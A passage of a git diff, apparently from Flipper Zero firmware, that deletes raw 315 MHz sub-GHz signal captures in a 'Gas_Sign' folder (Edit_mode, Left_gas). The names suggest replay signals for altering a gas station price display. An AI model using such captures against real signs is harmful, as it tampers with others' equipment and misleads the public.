337 -128 95 -372 141 -334 125 -352 -RAW_Data: 125 -338 129 -3712 141 -334 99 -364 123 -360 327 -122 355 -140 361 -108 337 -94 343 -126 121 -370 355 -104 347 -104 365 -92 139 -340 129 -360 123 -360 327 -124 119 -350 125 -342 385 -106 345 -102 137 -356 105 -338 125 -384 103 -360 139 -3674 133 -358 137 -350 107 -336 353 -142 335 -96 377 -94 369 -96 369 -96 125 -370 329 -140 335 -128 317 -124 123 -372 101 -368 91 -384 351 -104 141 -362 105 -336 373 -106 337 -130 97 -382 91 -380 101 -368 93 -384 93 -3736 125 -346 123 -350 139 -334 363 -110 339 -126 349 -94 369 -96 369 -96 125 -370 363 -108 335 -94 381 -94 121 -372 101 -368 125 -352 349 -104 143 -362 105 -336 373 -108 339 -128 95 -384 91 -378 101 -368 125 -348 125 -3714 101 -382 103 -336 123 -356 359 -92 377 -94 367 -98 369 -96 369 -94 123 -370 359 -96 359 -92 367 -128 93 -366 131 -334 121 -378 351 -102 143 -362 105 -336 373 -108 337 -128 97 -370 139 -336 125 -350 125 -340 129 -3712 139 -336 99 -364 123 -360 327 -122 369 -96 369 -96 369 -96 369 -92 125 -354 347 -132 333 -122 369 -94 123 -370 101 -368 91 -382 349 -104 143 -362 105 -336 373 -108 339 -128 95 -372 141 -334 125 -352 125 -338 129 -3712 105 -370 99 -364 123 -360 327 -122 355 -140 361 -108 335 -94 375 -96 121 -370 355 -106 347 -104 363 -92 139 -342 127 -360 123 -360 327 -122 121 -350 139 -336 369 -108 337 -130 95 -384 91 -378 103 -368 123 -350 125 -3702 127 -344 123 -354 139 -334 367 -108 339 -128 349 -94 367 -98 369 -96 125 -368 363 -106 337 -96 379 -94 121 -372 101 -370 123 -352 351 -104 141 -364 105 -336 371 -108 339 -128 97 -382 91 -378 103 -368 125 -348 125 -3702 127 -344 123 -354 139 -334 367 -108 339 -94 381 -94 369 -96 369 -96 125 -370 361 -108 337 -94 381 -92 121 -372 103 -368 123 -352 351 -104 141 -364 105 -336 373 -108 339 -128 95 -372 139 -336 123 -352 125 -340 129 -3706 139 -336 135 -332 121 -340 381 -102 335 -124 369 -94 369 -98 337 -126 125 -342 357 -140 337 -94 377 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -336 375 -106 339 -128 97 -382 91 -380 103 -368 91 -382 95 -3734 127 -344 123 -350 139 -336 365 -108 339 -128 349 -94 369 -96 369 -96 125 -370 361 -108 335 -96 379 -94 121 -372 101 -370 123 -352 351 -102 143 -362 105 -338 373 -108 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3714 105 -370 99 -364 123 -360 327 -122 -RAW_Data: 369 -96 369 -96 369 -96 367 -94 125 -354 345 -134 331 -122 369 -96 121 -370 103 -366 125 -350 351 -102 143 -362 105 -336 373 -108 339 -128 95 -352 123 -378 101 -370 123 -350 125 -3712 103 -380 105 -336 123 -356 359 -92 375 -94 369 -96 369 -96 369 -94 123 -370 359 -96 359 -92 369 -128 121 -336 133 -334 123 -376 351 -104 141 -362 107 -336 369 -108 339 -128 95 -372 139 -334 125 -352 125 -340 129 -3706 139 -338 133 -332 123 -338 381 -104 335 -122 369 -96 369 -96 337 -128 125 -342 355 -142 335 -94 377 -94 121 -372 101 -368 125 -352 349 -104 143 -362 105 -336 373 -108 339 -128 95 -384 91 -378 101 -368 125 -350 125 -3710 101 -382 105 -336 123 -354 359 -92 379 -94 369 -96 371 -96 367 -94 125 -368 359 -96 361 -124 337 -128 91 -368 131 -334 123 -376 351 -102 141 -362 105 -334 373 -106 337 -130 95 -382 93 -380 101 -368 93 -382 95 -3734 127 -344 141 -336 135 -330 349 -140 337 -94 375 -94 369 -96 369 -96 125 -372 327 -140 337 -126 317 -126 121 -372 101 -366 125 -352 351 -102 143 -362 105 -336 373 -108 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3738 135 -350 105 -336 123 -354 359 -124 347 -94 369 -96 369 -96 369 -94 123 -360 345 -132 335 -122 339 -128 121 -370 101 -368 93 -382 349 -104 141 -362 105 -336 373 -106 339 -128 97 -382 93 -380 101 -368 93 -382 93 -3742 101 -382 105 -336 123 -356 359 -90 377 -94 369 -96 371 -96 367 -94 125 -370 359 -96 359 -92 367 -128 121 -338 131 -336 121 -376 351 -104 141 -364 105 -334 371 -108 339 -128 95 -372 141 -334 125 -350 125 -340 129 -3706 139 -338 133 -332 123 -338 381 -104 335 -122 371 -94 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 103 -368 125 -350 351 -104 141 -364 105 -336 373 -108 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3710 139 -338 133 -330 123 -360 329 -122 369 -96 369 -96 369 -96 369 -92 125 -356 345 -132 333 -122 369 -96 121 -370 101 -368 125 -348 351 -102 143 -362 105 -338 373 -108 337 -128 95 -382 93 -378 101 -370 123 -350 125 -3704 127 -344 123 -352 139 -336 365 -108 339 -128 349 -92 369 -96 371 -96 125 -370 361 -108 335 -96 379 -94 121 -372 101 -370 123 -352 351 -102 143 -362 105 -338 373 -108 339 -128 95 -370 141 -334 125 -352 125 -338 129 -3706 139 -338 133 -334 121 -362 357 -92 371 -94 369 -96 371 -96 367 -94 125 -354 347 -132 -RAW_Data: 331 -124 369 -94 121 -372 101 -368 123 -350 351 -102 143 -362 105 -338 373 -108 337 -130 95 -372 139 -334 125 -352 125 -340 129 -3704 125 -356 139 -334 123 -352 349 -104 339 -122 371 -94 369 -98 369 -96 125 -370 327 -140 337 -94 379 -94 121 -372 103 -368 125 -350 349 -104 143 -362 105 -336 375 -108 337 -128 97 -370 141 -334 125 -352 125 -340 129 -3712 105 -372 97 -364 123 -360 327 -122 369 -96 369 -96 369 -96 369 -92 125 -354 347 -132 333 -122 369 -96 121 -370 103 -366 93 -380 351 -104 141 -364 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -338 129 -3706 139 -338 135 -332 123 -338 381 -102 337 -122 369 -96 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -370 123 -352 349 -104 143 -362 105 -336 375 -108 337 -128 97 -372 141 -334 125 -350 125 -340 129 -3708 125 -354 103 -368 125 -350 349 -104 339 -122 371 -96 369 -96 369 -96 125 -370 327 -140 337 -94 379 -94 121 -372 103 -368 125 -350 351 -104 141 -364 105 -336 373 -108 339 -128 95 -372 139 -336 123 -352 125 -340 129 -3706 139 -338 133 -332 123 -360 329 -120 371 -94 369 -98 369 -96 369 -92 125 -354 347 -132 333 -124 367 -96 121 -370 101 -368 123 -350 351 -104 141 -364 105 -336 373 -108 339 -128 95 -372 139 -334 125 -352 125 -340 129 -3710 139 -338 133 -330 123 -360 327 -122 371 -94 369 -96 369 -96 339 -124 125 -354 347 -132 333 -122 339 -126 121 -372 101 -366 93 -382 351 -102 141 -362 105 -336 373 -106 337 -130 97 -382 93 -378 103 -368 91 -384 93 -3746 101 -380 103 -336 123 -356 359 -92 375 -94 369 -96 369 -96 369 -94 125 -358 345 -134 333 -122 369 -96 121 -370 101 -368 123 -352 351 -102 143 -362 107 -336 373 -106 339 -128 97 -372 141 -334 125 -350 125 -340 129 -3706 125 -354 137 -334 125 -350 349 -104 339 -124 371 -94 369 -98 369 -96 125 -370 327 -142 335 -94 379 -94 121 -372 103 -368 123 -352 351 -104 141 -364 105 -336 373 -108 339 -128 95 -382 105 -370 97 -362 123 -338 129 -3710 139 -340 135 -334 123 -360 359 -90 391 -104 361 -108 337 -94 385 -106 105 -348 343 -132 333 -122 371 -96 121 -370 101 -368 123 -352 349 -104 143 -362 105 -336 375 -106 339 -128 95 -382 105 -370 97 -362 123 -338 129 -3710 139 -338 137 -334 121 -358 359 -92 387 -104 361 -108 337 -96 379 -94 121 -372 355 -106 349 -104 365 -94 139 -340 127 -360 123 -340 349 -132 -RAW_Data: 103 -396 105 -334 367 -108 337 -128 97 -382 91 -380 101 -368 93 -382 95 -3744 103 -378 105 -336 123 -356 359 -92 375 -94 369 -96 369 -96 369 -94 125 -368 361 -96 359 -122 337 -128 91 -368 131 -334 123 -378 349 -104 141 -362 107 -336 371 -108 337 -128 95 -382 105 -370 97 -362 123 -338 129 -3714 139 -338 135 -334 123 -338 381 -102 337 -122 359 -104 359 -144 301 -126 141 -340 351 -124 355 -104 335 -122 145 -342 99 -364 125 -358 329 -122 141 -344 135 -332 351 -140 333 -94 127 -364 139 -334 125 -370 103 -360 103 -3724 133 -360 101 -358 143 -304 391 -108 337 -96 393 -104 361 -106 345 -102 135 -354 353 -94 361 -106 337 -124 121 -356 123 -342 133 -336 389 -108 107 -346 127 -338 377 -94 369 -96 123 -366 131 -328 123 -374 95 -372 127 -3716 105 -338 129 -360 123 -360 327 -122 361 -104 359 -108 339 -124 357 -106 141 -360 329 -126 347 -94 369 -96 123 -366 131 -332 123 -374 351 -102 141 -364 105 -336 371 -106 339 -128 95 -370 141 -334 125 -352 125 -340 129 -3714 105 -370 99 -364 123 -360 327 -122 357 -140 359 -108 335 -94 375 -94 121 -370 355 -106 347 -104 365 -92 139 -340 129 -360 123 -338 349 -132 139 -362 105 -336 367 -108 339 -126 97 -370 141 -334 125 -352 125 -340 127 -3712 139 -336 135 -330 123 -360 327 -122 371 -94 369 -96 369 -96 369 -94 123 -356 345 -132 333 -122 369 -96 121 -370 101 -368 125 -350 349 -104 141 -364 105 -336 373 -108 339 -128 95 -372 141 -334 125 -352 125 -338 129 -3706 123 -356 139 -334 125 -350 349 -104 339 -124 371 -96 369 -96 369 -96 125 -370 327 -142 335 -96 379 -94 121 -372 101 -368 125 -350 351 -104 143 -362 105 -336 375 -106 339 -128 97 -382 91 -378 101 -368 125 -350 125 -3704 127 -344 125 -352 139 -334 363 -110 339 -128 349 -94 367 -98 369 -96 125 -370 361 -108 337 -94 379 -94 121 -372 103 -368 125 -350 351 -104 143 -362 105 -336 375 -106 339 -128 95 -372 141 -334 125 -350 125 -340 129 -3712 139 -338 97 -366 121 -360 329 -120 357 -140 361 -108 335 -96 343 -126 121 -370 353 -106 347 -104 365 -92 139 -342 127 -360 125 -338 349 -132 139 -362 105 -334 369 -108 337 -128 95 -372 139 -336 123 -352 125 -340 129 -3710 139 -338 133 -330 123 -360 327 -122 371 -94 369 -96 371 -96 367 -94 125 -354 347 -132 333 -122 369 -96 121 -370 101 -368 123 -350 351 -104 143 -362 105 -336 373 -108 337 -130 95 -382 93 -376 -RAW_Data: 103 -368 125 -350 125 -3706 135 -350 105 -336 125 -386 325 -124 349 -94 369 -96 369 -96 369 -126 93 -358 345 -134 333 -122 369 -96 121 -372 101 -368 123 -350 351 -104 143 -362 105 -336 375 -106 339 -128 95 -372 141 -334 125 -350 125 -340 129 -3710 141 -336 133 -332 121 -360 329 -122 369 -94 369 -98 369 -96 367 -94 125 -354 347 -132 333 -124 367 -96 121 -372 101 -368 123 -350 349 -104 143 -362 105 -336 373 -108 339 -128 97 -382 91 -378 103 -368 123 -350 125 -3702 127 -344 123 -356 139 -334 365 -110 339 -94 381 -94 367 -98 369 -96 125 -370 361 -108 337 -94 381 -94 121 -372 101 -368 125 -352 351 -102 143 -362 105 -336 375 -106 339 -128 97 -384 91 -378 103 -368 91 -384 93 -3734 127 -344 139 -338 133 -332 349 -142 335 -94 375 -94 369 -96 371 -96 125 -370 361 -108 335 -94 381 -94 121 -372 137 -332 125 -352 349 -104 143 -362 105 -336 375 -108 337 -128 97 -382 93 -376 103 -368 123 -352 125 -3706 135 -350 105 -338 123 -386 325 -124 349 -94 369 -96 369 -96 369 -94 123 -360 345 -134 333 -122 369 -96 121 -372 101 -368 123 -350 351 -104 143 -362 105 -336 375 -106 339 -128 95 -372 141 -334 125 -350 125 -340 127 -3708 123 -356 139 -334 125 -350 349 -106 337 -124 371 -94 371 -96 369 -96 125 -370 327 -142 335 -96 379 -94 121 -372 101 -370 123 -352 349 -104 143 -362 105 -336 375 -108 337 -128 97 -382 91 -378 103 -368 125 -350 125 -3710 103 -380 105 -336 123 -354 361 -122 347 -94 369 -96 369 -96 369 -94 125 -358 345 -132 335 -122 369 -96 121 -370 101 -368 125 -350 351 -104 141 -362 105 -338 373 -108 339 -128 95 -384 91 -378 101 -368 125 -350 125 -3702 127 -344 123 -354 139 -336 365 -108 339 -128 349 -94 369 -96 369 -96 125 -370 363 -106 337 -94 379 -94 121 -372 139 -332 125 -352 349 -104 141 -364 105 -336 375 -108 337 -130 95 -372 141 -334 125 -350 125 -340 129 -3710 141 -336 99 -366 121 -360 329 -120 371 -94 369 -98 369 -96 367 -94 125 -354 347 -132 333 -122 369 -96 121 -370 101 -368 125 -348 351 -104 141 -364 105 -336 373 -108 339 -128 95 -372 139 -334 125 -352 125 -340 129 -3704 125 -358 139 -334 123 -352 349 -104 339 -122 371 -96 369 -96 369 -96 125 -370 327 -142 335 -96 379 -94 121 -372 101 -368 125 -352 349 -104 143 -362 105 -336 375 -106 339 -128 97 -382 91 -378 103 -368 123 -352 125 -3708 103 -382 105 -336 123 -386 -RAW_Data: 325 -126 347 -94 369 -96 369 -96 369 -94 123 -360 345 -134 333 -124 369 -94 121 -372 101 -368 123 -352 349 -104 143 -362 105 -336 375 -106 339 -128 97 -382 91 -378 101 -368 125 -350 125 -3712 101 -382 105 -336 123 -354 361 -122 347 -94 369 -96 369 -96 369 -94 123 -358 347 -134 333 -122 369 -96 121 -370 103 -366 125 -350 351 -104 141 -364 105 -336 373 -108 339 -128 95 -382 105 -370 97 -362 123 -340 127 -3710 139 -340 135 -336 121 -360 359 -92 389 -104 361 -108 337 -94 377 -94 121 -372 353 -106 347 -106 365 -92 139 -340 129 -360 123 -340 347 -134 139 -360 105 -336 369 -108 337 -128 95 -372 139 -336 125 -350 125 -340 129 -3706 139 -338 135 -332 121 -340 381 -102 337 -122 339 -126 369 -96 337 -128 125 -340 359 -140 335 -96 377 -94 121 -372 101 -368 125 -352 351 -102 143 -362 105 -338 373 -108 337 -128 97 -382 93 -376 103 -368 123 -352 125 -3708 103 -382 105 -336 123 -388 325 -124 349 -94 367 -96 369 -96 369 -126 95 -358 345 -134 333 -122 371 -94 121 -370 103 -366 125 -350 351 -102 143 -362 105 -338 373 -108 337 -128 97 -382 93 -378 101 -368 93 -382 95 -3746 103 -380 103 -336 123 -356 359 -92 377 -94 391 -104 359 -108 333 -124 109 -342 375 -108 337 -130 353 -94 121 -372 137 -334 125 -350 351 -104 143 -362 105 -336 375 -108 337 -128 97 -382 93 -378 101 -368 93 -382 95 -3742 103 -382 103 -336 123 -354 361 -124 345 -94 369 -96 371 -96 369 -94 123 -370 359 -96 359 -122 337 -128 93 -368 131 -332 123 -378 349 -104 141 -364 105 -336 371 -108 339 -128 95 -370 141 -334 125 -354 93 -370 129 -3706 141 -338 133 -332 123 -370 349 -104 335 -122 339 -126 337 -130 337 -128 125 -344 353 -142 333 -94 379 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -338 373 -106 339 -128 97 -382 91 -380 101 -368 123 -352 93 -3738 135 -350 105 -338 123 -386 327 -124 349 -92 369 -128 339 -96 369 -94 125 -368 329 -128 357 -124 337 -128 93 -368 131 -334 121 -378 351 -102 141 -362 105 -334 371 -108 337 -128 97 -382 105 -370 97 -362 123 -372 95 -3708 137 -342 137 -334 123 -360 359 -90 391 -106 359 -108 337 -94 347 -126 121 -372 353 -104 347 -138 331 -92 139 -342 129 -358 125 -340 349 -132 103 -396 105 -334 367 -108 337 -128 97 -384 91 -378 103 -366 93 -382 95 -3736 137 -348 105 -336 125 -386 325 -124 349 -94 369 -96 369 -96 369 -94 123 -358 -RAW_Data: 345 -134 333 -122 371 -94 123 -370 101 -368 123 -350 351 -104 141 -362 105 -338 373 -106 339 -128 97 -382 93 -376 103 -368 123 -350 127 -3708 103 -382 105 -336 123 -386 325 -124 349 -94 367 -96 371 -96 367 -94 125 -358 345 -134 333 -122 371 -94 121 -372 103 -366 93 -382 351 -104 141 -362 105 -336 373 -106 337 -130 95 -382 93 -380 101 -368 93 -384 93 -3746 103 -380 103 -336 123 -354 359 -92 377 -94 369 -96 369 -96 369 -94 125 -368 359 -96 359 -124 337 -128 93 -368 129 -334 123 -378 351 -102 141 -362 105 -334 371 -108 337 -128 97 -382 91 -380 103 -368 91 -384 93 -3736 125 -346 123 -350 139 -336 365 -108 339 -96 379 -94 369 -96 369 -96 125 -370 361 -108 337 -94 379 -94 121 -372 103 -368 123 -352 349 -104 143 -362 105 -336 375 -108 337 -128 97 -370 141 -334 125 -352 125 -338 129 -3716 105 -370 99 -362 123 -360 327 -122 359 -104 359 -108 371 -94 373 -94 121 -372 355 -104 349 -104 363 -92 139 -340 129 -358 125 -360 327 -122 121 -350 123 -342 387 -106 345 -102 135 -356 107 -338 123 -384 103 -360 diff --git a/assets/resources/subghz/Gas_Sign/Edit_mode.sub b/assets/resources/subghz/Gas_Sign/Edit_mode.sub deleted file mode 100644 index fadfa8e87..000000000 --- a/assets/resources/subghz/Gas_Sign/Edit_mode.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 231 -533 361 -59382 63 -6370 65 -430 63 -4582 65 -494 65 -92428 133 -2546 65 -3216 165 -2586 97 -1230 65 -86114 165 -2666 129 -2338 129 -3882 65 -296 129 -58042 99 -30630 99 -5028 129 -1390 295 -266 63 -132 133 -626 165 -298 131 -166 67 -1694 97 -166 131 -1960 165 -166 99 -1880 231 -564 165 -1748 195 -5158 65 -79774 65 -1862 197 -360 101 -354 107 -368 329 -138 337 -128 323 -158 323 -138 357 -108 105 -396 317 -138 357 -106 335 -124 107 -376 99 -366 123 -354 357 -124 95 -368 141 -334 127 -356 93 -370 129 -372 97 -372 315 -156 347 -94 121 -3716 133 -356 101 -394 107 -334 369 -106 337 -130 357 -124 361 -104 357 -108 141 -362 317 -140 359 -108 335 -124 145 -340 97 -364 123 -360 329 -122 139 -344 137 -334 121 -390 101 -360 105 -370 99 -362 351 -138 335 -126 95 -3714 131 -360 125 -338 129 -340 347 -126 357 -124 337 -126 371 -96 369 -98 125 -370 361 -108 337 -128 355 -94 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 99 -362 123 -338 129 -372 95 -372 347 -126 347 -126 89 -3718 131 -352 137 -360 105 -336 377 -106 337 -132 357 -124 359 -104 357 -108 143 -362 353 -104 359 -108 335 -124 145 -342 97 -364 123 -360 327 -124 139 -344 137 -334 123 -388 101 -360 105 -372 97 -362 351 -140 333 -126 95 -3726 131 -368 105 -360 103 -382 357 -106 341 -102 363 -122 361 -104 357 -108 141 -364 353 -104 359 -108 335 -124 145 -342 99 -362 125 -360 327 -124 139 -344 135 -334 123 -388 101 -360 105 -370 99 -362 351 -138 335 -128 95 -3716 131 -360 93 -392 101 -358 357 -104 387 -106 335 -124 359 -104 359 -106 143 -362 353 -104 359 -108 335 -124 143 -344 99 -364 123 -358 359 -92 125 -364 141 -336 125 -356 123 -340 127 -372 97 -372 347 -92 379 -94 121 -3744 97 -382 103 -360 105 -370 345 -106 373 -100 359 -124 337 -130 337 -128 125 -336 369 -106 373 -98 361 -124 89 -378 137 -336 125 -354 351 -138 107 -362 105 -370 97 -364 123 -338 129 -370 97 -372 347 -124 349 -126 89 -3746 99 -380 103 -360 103 -372 347 -106 371 -100 361 -74182 139 -334 127 -356 125 -360 327 -124 355 -138 361 -106 337 -128 351 -94 121 -374 351 -138 351 -106 335 -124 145 -340 99 -362 125 -372 317 -134 139 -362 105 -336 129 -358 93 -370 129 -372 97 -372 347 -124 347 -126 91 -3712 129 -352 137 -360 105 -370 343 -106 371 -98 359 -124 361 -102 359 -108 141 -362 353 -106 359 -106 335 -124 145 -342 99 -364 123 -360 -RAW_Data: 329 -122 123 -362 139 -336 127 -354 125 -338 129 -372 95 -372 347 -124 349 -124 91 -3716 133 -350 137 -360 105 -338 375 -106 371 -98 359 -124 361 -104 357 -108 141 -362 353 -106 359 -106 335 -126 143 -342 99 -364 123 -360 327 -124 139 -344 137 -336 123 -356 135 -360 105 -372 97 -362 349 -140 333 -126 95 -3724 131 -372 103 -362 103 -382 357 -106 341 -102 363 -124 359 -104 359 -108 141 -362 353 -106 359 -106 335 -124 145 -342 99 -366 123 -358 357 -92 139 -378 103 -336 123 -386 101 -360 105 -372 99 -364 351 -140 335 -126 97 -3724 131 -356 93 -392 101 -358 357 -106 351 -142 333 -122 361 -104 357 -108 143 -362 353 -104 359 -108 335 -124 143 -342 133 -332 123 -356 359 -92 125 -368 139 -336 127 -354 125 -338 129 -370 97 -372 347 -124 347 -126 89 -3752 97 -350 137 -360 105 -370 345 -106 371 -98 361 -124 359 -104 357 -108 141 -362 353 -106 359 -106 337 -124 143 -342 99 -364 123 -360 329 -122 139 -344 137 -336 123 -356 137 -360 105 -370 97 -362 349 -140 335 -126 95 -3720 133 -372 103 -362 103 -384 351 -94 359 -106 367 -94 375 -94 371 -96 123 -368 375 -94 361 -106 369 -92 125 -362 141 -334 125 -354 351 -138 107 -122648 139 -338 133 -332 123 -372 349 -102 337 -124 383 -106 359 -106 339 -130 133 -348 353 -124 343 -142 335 -98 135 -346 123 -356 139 -334 367 -92 121 -372 127 -340 129 -340 127 -338 125 -366 125 -344 379 -94 365 -104 143 -3696 131 -354 93 -370 129 -340 347 -124 355 -124 337 -128 337 -130 337 -128 127 -372 325 -142 335 -128 353 -126 89 -376 137 -334 125 -354 349 -140 105 -364 105 -370 97 -364 123 -372 95 -372 97 -372 347 -124 349 -126 89 -3748 97 -382 103 -360 105 -372 345 -106 371 -100 359 -124 359 -104 359 -108 141 -362 351 -106 359 -106 337 -124 143 -342 99 -366 123 -358 359 -92 125 -366 139 -334 127 -356 123 -340 127 -372 97 -372 347 -124 347 -126 89 -3744 97 -350 127 -370 97 -372 347 -124 351 -126 337 -128 337 -130 337 -128 127 -344 353 -140 335 -126 353 -94 121 -374 139 -334 125 -354 351 -138 107 -362 105 -370 97 -362 125 -338 129 -370 97 -372 347 -124 351 -124 91 -3742 99 -350 125 -372 97 -370 349 -124 351 -124 337 -128 339 -128 337 -128 127 -344 355 -140 335 -128 351 -94 121 -376 137 -334 125 -354 351 -140 105 -362 105 -372 97 -362 123 -340 127 -372 97 -372 347 -124 349 -126 89 -3744 99 -350 127 -370 97 -372 347 -124 -RAW_Data: 351 -124 337 -128 339 -128 339 -128 125 -344 355 -140 335 -126 351 -94 121 -376 139 -334 125 -354 349 -140 105 -362 105 -372 97 -362 123 -372 95 -372 97 -372 345 -126 351 -124 91 -3744 99 -358 137 -360 103 -380 357 -106 341 -102 363 -124 359 -104 359 -106 143 -362 353 -104 359 -108 335 -124 143 -342 99 -366 123 -358 357 -92 139 -378 105 -334 123 -388 103 -360 103 -372 97 -364 351 -140 335 -126 97 -96344 165 -326 139 -360 107 -336 355 -140 335 -126 351 -94 369 -128 339 -128 95 -366 367 -106 371 -98 359 -124 91 -376 139 -334 125 -356 351 -138 105 -364 103 -372 97 -362 125 -338 129 -372 95 -372 347 -124 349 -126 89 -3718 133 -350 137 -360 105 -370 343 -106 371 -98 359 -124 361 -104 357 -108 141 -362 353 -104 359 -108 335 -124 145 -342 99 -364 123 -358 327 -122 139 -378 103 -336 123 -386 103 -360 103 -372 99 -364 351 -140 335 -126 97 -3748 97 -360 93 -372 127 -340 347 -126 357 -124 337 -128 369 -98 369 -96 127 -368 363 -106 337 -130 355 -94 139 -342 129 -360 125 -338 349 -134 139 -362 105 -336 129 -356 125 -338 129 -372 95 -372 347 -124 349 -124 91 -3746 99 -382 103 -362 103 -372 347 -106 371 -100 359 -124 337 -130 337 -130 123 -336 371 -106 371 -100 359 -124 121 -346 139 -334 125 -356 351 -138 107 -362 105 -370 99 -362 123 -340 127 -372 97 -372 345 -126 351 -124 91 -3742 97 -352 125 -372 129 -338 347 -126 351 -126 337 -128 337 -130 337 -128 127 -342 355 -140 335 -128 351 -126 89 -376 137 -334 125 -356 349 -140 105 -364 105 -370 97 -362 125 -338 127 -372 97 -372 347 -124 351 -124 91 -3748 99 -382 103 -360 103 -370 347 -106 373 -98 361 -124 359 -104 359 -108 141 -362 353 -106 359 -106 335 -124 145 -342 99 -364 123 -360 329 -122 123 -362 139 -336 127 -356 123 -340 127 -372 97 -372 347 -124 347 -94 121 -3742 99 -350 125 -372 95 -372 347 -124 351 -126 337 -128 337 -128 339 -126 127 -342 355 -140 335 -128 129 -118362 177 -302 127 -358 125 -360 327 -124 387 -104 361 -106 337 -130 353 -94 121 -374 353 -104 387 -106 335 -124 145 -340 99 -364 123 -372 317 -132 141 -362 105 -336 129 -358 125 -340 127 -372 95 -372 347 -124 347 -126 89 -3746 99 -382 101 -362 103 -370 347 -142 337 -98 361 -124 361 -104 357 -108 141 -362 351 -106 359 -106 335 -124 143 -340 135 -334 123 -356 359 -124 93 -368 141 -334 127 -356 125 -338 127 -372 97 -372 347 -124 -RAW_Data: 349 -124 91 -3744 99 -348 127 -370 97 -372 347 -124 351 -124 337 -130 337 -130 337 -128 125 -344 355 -138 335 -128 351 -124 91 -376 137 -334 125 -354 351 -138 107 -362 105 -370 99 -362 123 -370 97 -372 95 -372 347 -124 351 -126 89 -3748 99 -356 137 -360 103 -380 357 -106 341 -102 365 -122 361 -104 357 -108 141 -362 353 -106 359 -106 337 -124 143 -342 133 -330 123 -360 359 -92 139 -378 103 -336 123 -386 101 -360 105 -372 97 -366 351 -140 333 -128 95 -3726 131 -372 105 -360 103 -382 357 -106 343 -102 363 -124 339 -128 337 -130 123 -336 371 -94 385 -102 337 -124 139 -344 137 -334 123 -374 351 -102 141 -346 125 -346 123 -354 137 -334 125 -354 125 -360 327 -124 355 -138 105 -3706 127 -340 125 -364 139 -334 367 -106 339 -130 357 -124 359 -104 359 -108 141 -362 353 -106 359 -106 335 -124 145 -342 99 -364 123 -360 327 -124 123 -360 141 -336 125 -356 125 -338 129 -372 95 -372 347 -124 349 -124 91 -3748 99 -384 101 -360 105 -370 347 -106 371 -100 361 -124 359 -104 357 -108 141 -362 353 -106 359 -106 337 -124 143 -342 99 -364 123 -360 329 -122 139 -344 137 -336 123 -390 103 -360 103 -372 97 -362 351 -140 333 -126 95 -3718 133 -360 91 -392 101 -358 357 -106 387 -106 333 -124 255 -224792 67 -200 65 -2734 65 -2234 131 -11394 133 -28456 65 -165008 99 -8274 65 -94568 99 -1808 65 -960 131 -3072 65 -91020 65 -2010 129 -1782 133 -1952 65 -526 65 -66 97 -198 65 -47550 65 -13086 99 -1890 165 -58100 99 -764 65 -598 131 -1556 99 -9878 67 -2616 65 -4974 165 -232 99 -498 299 -530 163 -68 97 -466 165 -566 65 -230 99 -164 97 -594 197 -1708 65 -132 65 -328 97 -728 165 -1882 261 -232 65 -662 65 -9222 65 -11988 65 -17800 163 -6502 97 -132 231 -49234 65 -19704 97 -230 133 -3066 131 -2044 229 -494 131 -9672 diff --git a/assets/resources/subghz/Gas_Sign/Left_gas.sub b/assets/resources/subghz/Gas_Sign/Left_gas.sub deleted file mode 100644 index 1157fe5ba..000000000 --- a/assets/resources/subghz/Gas_Sign/Left_gas.sub +++ /dev/null @@ -1,48 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 93 -671 361 -1140792 203 -298 151 -338 125 -338 375 -104 339 -122 361 -104 359 -108 337 -124 145 -340 347 -106 339 -130 335 -142 107 -342 123 -358 103 -394 317 -142 105 -356 95 -370 97 -372 125 -346 351 -106 359 -106 143 -362 105 -334 129 -3690 135 -350 105 -368 91 -384 325 -126 349 -94 391 -104 359 -108 335 -122 109 -342 375 -108 337 -130 319 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -334 129 -356 93 -372 347 -132 329 -122 121 -348 137 -334 127 -3686 129 -340 125 -358 139 -334 363 -108 339 -128 329 -138 325 -142 341 -100 135 -350 355 -106 347 -138 329 -124 89 -376 101 -368 93 -396 329 -134 101 -394 69 -370 93 -394 103 -360 345 -108 361 -106 105 -398 69 -372 101 -3732 99 -356 107 -368 93 -384 349 -102 335 -124 339 -128 337 -128 337 -128 127 -344 355 -140 333 -94 343 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 93 -372 349 -130 329 -122 121 -348 139 -334 125 -3690 135 -352 105 -338 123 -384 327 -124 351 -94 369 -96 369 -96 369 -94 125 -356 345 -134 331 -124 337 -126 123 -338 133 -366 91 -380 351 -102 141 -362 105 -336 127 -356 95 -370 349 -130 329 -124 121 -348 137 -334 125 -3694 135 -350 105 -336 125 -382 327 -126 349 -94 369 -96 369 -96 371 -94 125 -370 327 -126 357 -124 337 -128 91 -368 131 -332 123 -376 317 -134 141 -362 103 -336 125 -356 93 -372 347 -132 329 -124 119 -348 139 -334 127 -3690 135 -352 105 -338 123 -384 327 -124 349 -94 369 -96 371 -96 369 -94 125 -370 327 -128 355 -124 337 -128 93 -368 129 -332 123 -376 319 -134 139 -362 105 -334 127 -356 93 -372 347 -132 329 -122 121 -348 139 -334 125 -3694 135 -350 105 -336 125 -384 325 -126 351 -94 369 -96 369 -96 369 -94 125 -356 347 -132 331 -124 337 -128 121 -370 101 -366 93 -380 349 -104 141 -362 105 -334 127 -356 93 -370 349 -132 329 -124 121 -348 137 -336 125 -3694 135 -350 105 -338 123 -384 327 -124 349 -94 369 -96 371 -96 369 -94 125 -370 327 -126 357 -124 337 -128 91 -368 131 -332 123 -376 349 -102 141 -362 105 -334 127 -356 95 -370 349 -130 329 -124 121 -348 137 -336 125 -3684 127 -340 125 -364 139 -336 363 -108 339 -128 319 -126 337 -130 337 -128 125 -346 355 -140 301 -156 315 -126 121 -372 101 -368 93 -382 319 -134 105 -398 105 -334 127 -358 93 -370 349 -132 329 